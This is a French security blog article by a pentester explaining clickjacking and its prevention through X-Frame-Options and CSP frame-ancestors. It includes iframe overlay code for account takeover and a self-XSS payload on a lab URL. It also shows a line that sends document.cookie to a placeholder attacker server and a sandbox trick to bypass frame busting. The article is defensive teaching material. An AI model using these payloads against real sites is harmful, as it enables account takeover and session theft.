Clickjacking : principes, exploitations et bonnes pratiques sécurité

Le clickjacking est une technique d’attaque discrète mais redoutable. Elle exploite l’interface utilisateur pour piéger les victimes en les poussant à interagir avec des éléments invisibles ou déguisés.

Un simple clic peut ainsi entraîner des actions non souhaitées : modification de paramètres, vol de compte, ou exécution d’un script malveillant.

Dans cet article, nous reviendrons sur les principes du clickjacking. Nous verrons également des exemples d’exploitation ainsi que les bonnes pratiques sécurité pour prévenir le clickjacking.

Guide complet sur le clickjacking

Qu’est-ce que le clickjacking ?

Le clickjacking est une attaque qui trompe l’utilisateur en lui faisant cliquer sur un élément qu’il ne voit pas. L’attaquant superpose une page web piégée à un site légitime. L’utilisateur pense interagir avec le site affiché, mais en réalité, il déclenche des actions cachées : modification de mot de passe, suppression de compte, ou autre action indésirable.

Cette technique, apparue en 2008, a été largement exploitée dans les années 2010. À l’époque, elle servait surtout à forcer les utilisateurs à aimer ou partager du contenu via des publicités piégées sur les réseaux sociaux. Si de nombreuses plateformes ont corrigé cette faille, certaines applications web restent encore vulnérables.

Le clickjacking est souvent sous-estimé. Il nécessite des scénarios d’attaque sophistiqués qui peuvent sembler peu réalistes. Pourtant, dans certains contextes, son exploitation peut avoir des conséquences critiques.

Exemple d’attaque clickjacking menant au vol de compte

Prenons le cas d’une application avec une section profile ou il est possible de modifier son adresses email.

La fonctionnalité est intéressante puisque si un utilisateur malveillant contrôle l’adresse email d’un compte, il peut être en capacité de prendre le contrôle du compte en changeant l’adresse email et en faisant une demande de réinitialisation de mot de passe.

Ici, les données sont envoyées en POST vers le serveur et nécessitent de remplir le champ email. Dans notre cas il est nécessaire de trouver un scénario pour faire préremplir à l’utilisateur les données à modifier. Néanmoins, convaincre un utilisateur d’ajouter l’email de l’attaquant semble compliqué.

En examinant le code source, on constate que le site web intègre du code JavaScript. Ce code récupère la valeur du paramètre email contenu dans l’url pour préremplir le champ email.

Dans ce contexte, on pourrait intégrer la page légitime dans un iframe avec l’email de l’attaquant dans le paramètre email. Ainsi, il ne resterait plus qu’à faire cliquer la personne ciblée sur le bouton permettant de changer son email.

<iframe src="https://targeted_website/[email protected]"></iframe>

Après avoir construit la page leurre, on doit réussir à superposer le faux bouton sur le bouton de la page légitime. Pour ce faire, on utilisera du CSS, en suivant une approche par tâtonnements et en jouant avec les propriétés permettant de déterminer le positionnement (width et height).

Pour cacher l’iframe derrière le faux bouton, on utilisera la propriété z-index qu’on réglera à 2 pour l’iframe du site légitime, et à 1 pour le site leurre.

Enfin, on réglera l’opacity à 0 afin de rendre la page invisible aux yeux de la personne ciblée.

	        #Site web légitime {
			position:relative;
			width:128px;
			height:128px;
			opacity:0;
			z-index:2;
			}
		#Site web leurre {
			position:absolute;
			width:300px;
			height:400px;
			z-index:1;
			}

On se retrouve avec le résultat suivant :

Si la personne ciblée clique sur le bouton « Claim your prize ! » elle cliquera en fait sur le bouton permettant de modifier son adresse email et déclenchera la requête ci-dessous sur le serveur web ciblé. L’attaquant n’a alors plus qu’à réinitialiser le mot de passe pour prendre le contrôle du compte.

Transformer des self-XSS en vulnérabilités critiques grâce au clickjacking

La self-XSS, comme son nom l’indique, est une vulnérabilité où l’utilisateur s’injecte lui-même du code JavaScript malveillant. En temps normal, son impact est nul et ces failles ne sont généralement pas considérées comme des vulnérabilités exploitables, car il n’existe pas de scénario réaliste dans lequel un utilisateur écrirait volontairement du code JavaScript pour se piéger lui-même.

Cependant, lorsqu’elle est combinée à d’autres vulnérabilités, il devient possible d’augmenter considérablement son impact. Ici, nous allons voir comment le clickjacking peut être exploité comme un vecteur permettant de transformer une vulnérabilité de type self-XSS en une faille critique.

Prenons le cas d’une application web où une vulnérabilité de type Self-XSS a été découverte dans un formulaire de feedback. La vulnérabilité ne peut être exploitée que lorsque l’utilisateur clique sur le bouton « Submit feedback » après avoir rempli le champ « name » contenant le code JavaScript.

De la même manière que pour le cas précèdent, on peut préremplir les champs du formulaire depuis les paramètres contenus dans l’URL et intégrer l’application dans un iframe qui sera caché derrière un site web leurre.

<iframe src="https://0aad00b40454a63ebcfaf34c00e100a4.web-security-academy.net/feedback?name=<img src=1 onerror=alert(document.domain)>&[email protected]&subject=test&message=test#feedbackResult"></iframe>

Lorsque l’utilisateur clique sur le bouton « Test me » de la page frauduleuse, il active en réalité le bouton du site légitime, ce qui déclenche le code JavaScript.

Un attaquant pourrait exploiter cette XSS de manière plus poussée en subtilisant les cookies de session de sa cible ou en réalisant des actions compromettantes en son nom, comme modifier son adresse email.

Par exemple, il pourrait utiliser le code suivant pour exfiltrer les cookies de la victime vers son propre serveur :

<img src="x"onerror="fetch('https://[serveur_de_l’attaquant]?cookie=' + document.cookie)">

Il pourrait ensuite retrouver les cookies de la victime dans les logs de son serveur.

Attaque clickjacking et contournement du frame busting

Pour contrer le clickjacking, les développeurs ont mis en place l’utilisation de scripts de frame busting. Ces scripts sont conçus pour détecter et empêcher qu’un site soit intégré dans une iframe, garantissant ainsi qu’il s’affiche dans sa fenêtre principale.

Bien qu’obsolète aujourd’hui et largement remplacé par d’autres solutions, on peut tout de même continuer de trouver des sites qui utilisent cette technique de protection.

Les scripts de frame busting peuvent réaliser les actions suivantes :

  1. Vérification de la fenêtre principale : Le script s’assure que le site web est chargé dans la fenêtre principale (ou « top window ») du navigateur. Si ce n’est pas le cas, cela signifie que le site est dans une iframe, le script peut alors retourner une erreur rendant la navigation sur le site impossible.
  2. Rendre toutes les frames visibles : Un autre objectif du script est de s’assurer que toutes les frames sont visibles, ce qui empêche une iframe cachée d’exécuter des actions invisibles pour l’utilisateur.
  3. Prévenir les clics sur les frames invisibles : Les scripts peuvent aussi interdire l’interaction avec des frames invisibles.
  4. Alerte de l’utilisateur : Certains scripts vont au-delà de la simple protection et vont alerter l’utilisateur lorsqu’une tentative de clickjacking est détectée.

Il existe cependant plusieurs méthodes permettant de contourner le frame busting.

Prenons l’exemple d’une application qui utiliserait le script suivant afin de se protéger contre le clickjacking.

<script> if (top !== self) { window.addEventListener("DOMContentLoaded", function() { document.body.innerHTML = 'This page cannot be framed'; }, false); } </script>

La condition if (top !== self) vérifie si la page est affichée dans un iframe plutôt qu’en tant que fenêtre principale. Si c’est le cas, une fonction est exécutée à la fin du chargement (DOMContentLoaded), remplaçant le contenu de la page par un message d’erreur pour empêcher son utilisation.

Ici, si un attaquant essaie de rendre la page web dans un iframe, il aura le message d’erreur suivant.

Afin de contourner ce script, il est possible d’utiliser l’attribut sandbox de la balise iframe. Si la valeur de l’attribut est vide, cela permet d’appliquer toutes les restrictions par défaut.

L’une des restrictions enlève la possibilité à l’iframe d’accéder à la propriété JavaScript « window.top » qui est utilisée ici pour savoir si le site web est dans un iframe.

Cet attribut nous enlève aussi la possibilité d’interagir avec les formulaires. Ainsi une personne ciblée par une attaque de type clickjacking ne pourrait par exemple pas cliquer sur le bouton « update email » du formulaire ci-dessous.

C’est en ajoutant la valeur « allow-forms » à l’attribut sandbox que nous pourrons interagir avec tous les formulaires dans une iframe. Cela permet ensuite de réaliser une attaque de type clickjacking, similaire à celles présentées dans les cas précédents.

Comment prévenir le clickjacking ?

Pour se protéger contre ce type d’attaque, les développeurs ont le choix entre deux en-têtes : X-Frame-Options ou Content-Security-Policy

Pour mettre en place ces protections, vous devrez ajouter ces en-têtes à toutes les réponses http des pages que vous souhaitez protéger contre le Clickjacking.

Il existe plusieurs directives à l’en-tête X-Frame-Options. Si vous spécifiez la directive DENY, non seulement le navigateur empêchera le chargement de la page dans un iframe lorsqu’elle est intégrée depuis d’autres sites, mais il bloquera également cette intégration même lorsqu’elle provient du même site.

En revanche, si vous spécifiez SAMEORIGIN, la page pourra toujours être affichée dans un iframe, à condition que le site qui l’intègre soit le même que celui qui la sert.

Il existe aussi la directive ALLOW-FROM qui permet d’autoriser des domaines spécifiques, cependant elle est considérée comme obsolète parce qu’elle n’est plus prise en charge par les navigateurs moderne.

Contrairement à X-Frame-Options, la directive frame-ancestors de l’en-tête Content-Security-Policy offre un contrôle plus granulaire en permettant d’autoriser plusieurs domaines spécifiques en plus de self. Par exemple :

Content-Security-Policy: frame-ancestors 'self' https://yourwebsite.com https://yourwebsite1.com;

Cette configuration autorise l’intégration de votre site uniquement sur votre propre domaine ainsi que sur yourwebsite.com et yourwebsite1.com, empêchant toute inclusion non autorisée ailleurs.

Auteur : Yacine DJABER – Pentester @Vaadata